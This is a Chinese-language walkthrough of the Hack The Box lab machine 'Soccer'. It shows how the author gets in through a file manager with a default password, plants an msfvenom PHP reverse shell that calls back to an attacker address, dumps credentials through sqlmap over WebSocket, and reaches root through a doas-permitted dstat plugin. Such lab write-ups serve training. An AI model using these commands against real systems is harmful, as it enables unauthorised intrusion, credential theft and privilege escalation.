挑了个看起来简单的靶场复健一下。
0x00 信息收集
IP：10.10.11.194
开放了80和22。看了下主页都是和球球有关的东西，毫无兴趣捏^^。
扫描，用到的字典：戳我
python3 dirsearch.py -w ../../wordlist/all-dirs.txt -u http://soccer.htb/
扫描到路径/tiny/，进入后台界面：
谷歌高搜一下CPP Programmers，可以找到这个文件：戳我，这里直接有默认登录口令的明文信息：
使用admin/admin@123就可以直接登录进入后台啦^^
0x01 漏洞利用
看起来文件管理器没有过滤，就考虑msf生成php🐎：
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=5555 > test.php
监听：
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 10.10.14.16 msf6 exploit(multi/handler) > set lport 5555
上线：
这个时候在/home目录下可以找到用户player，里面有user.txt（flag），可惜此时无法读取。
cat /etc/hosts：
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb 127.0.1.1 ubuntu-focal ubuntu-focal
在本地也绑定一下这个域名，访问：
注册然后再次登录进入该页面：
然后瓶颈了，看了下参考资料是分析js源代码：
<script>
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
……
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
……
</script>
该网站使用了ws协议传参，使用sqlmap开梭：
python3 sqlmap.py --url "ws://soc-player.soccer.htb:9091" --data='{"id":1}' --dbs
–dump一下soccer_db：
+------+-------------------+----------------------+----------+ | id | email | password | username | +------+-------------------+----------------------+----------+ | 1324 | player@player.htb | PlayerOftheMatch2022 | player | +------+-------------------+----------------------+----------+
ssh 10.10.11.194 -l player，密码PlayerOftheMatch2022，登录即可看到flag。
0x02 权限提升
find / -user root -perm -4000 -print 2>/dev/null
结果有/usr/local/bin/doas，doas可以替代sudo，维基百科介绍如下：
doas 是一个用来以其他用户身份执行指令的程序。系统管理员可以对其进行设置，赋予指定用户执行特定指令的权限。其为以ISC许可证许可的自由及开放源代码软件，可在UNIX与类Unix操作系统中使用。 doas是由Ted Unangst为OpenBSD所开发的，是一种更简单且更安全的sudo替代品。
查找doas的配置文件位置：
find / -type f -name doas.conf 2>/dev/null
查看doas的配置文件：
cat /usr/local/etc/doas.conf
配置文件的内容如下：
permit nopass player as root cmd /usr/bin/dstat
提权资料参考：戳我
不用资料里那么麻烦，可以写一个调用bash的py脚本让doas去调用。
> cd /usr/local/share/dstat/(/usr/share/dstat无权限）
> touch dstat_shawroot.py
> vim dstat_shawroot.py
import os
os.system('bash -i')
> chmod 777 dstat_shawroot.py
> doas /usr/bin/dstat --shawroot
成功提升到root权限，切换到root目录下即可看到flag。
